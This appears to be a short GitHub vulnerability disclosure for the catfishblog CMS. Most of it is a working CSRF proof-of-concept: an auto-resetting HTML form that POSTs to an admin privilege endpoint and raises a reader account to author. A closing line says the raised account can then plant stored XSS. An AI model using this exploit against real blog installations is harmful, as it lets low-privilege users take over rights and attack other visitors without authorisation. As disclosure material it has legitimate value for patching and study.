Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
28 lines (26 sloc) 880 Bytes

catfishblog

CSRF

Register an account Current permissions are readers use poc

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.33.62.73:8080/admin/Index/tiquan" method="POST">
      <input type="hidden" name="id" value="4" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Permission changed to author

XSS

Use the account after the privilege,write soucre code Successfully click on the page